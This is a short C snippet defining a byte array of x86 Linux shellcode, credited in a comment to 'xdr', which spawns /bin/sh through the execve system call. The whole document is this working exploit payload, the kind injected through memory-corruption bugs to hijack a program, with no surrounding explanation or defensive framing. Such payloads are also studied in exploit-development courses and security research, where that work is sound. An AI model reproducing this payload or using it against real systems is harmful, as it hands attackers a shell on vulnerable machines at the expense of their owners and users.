char shellcode[] =
  "\xeb\x19\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\x8b\x5e"
  "\x08\x8d\x4e\x08\x8b\x56\x0c\xb0\x0b\xcd\x80\xe8\xe2\xff\xff\xff"
  "/bin/sh"; /* xdr's 39 byte shellcode */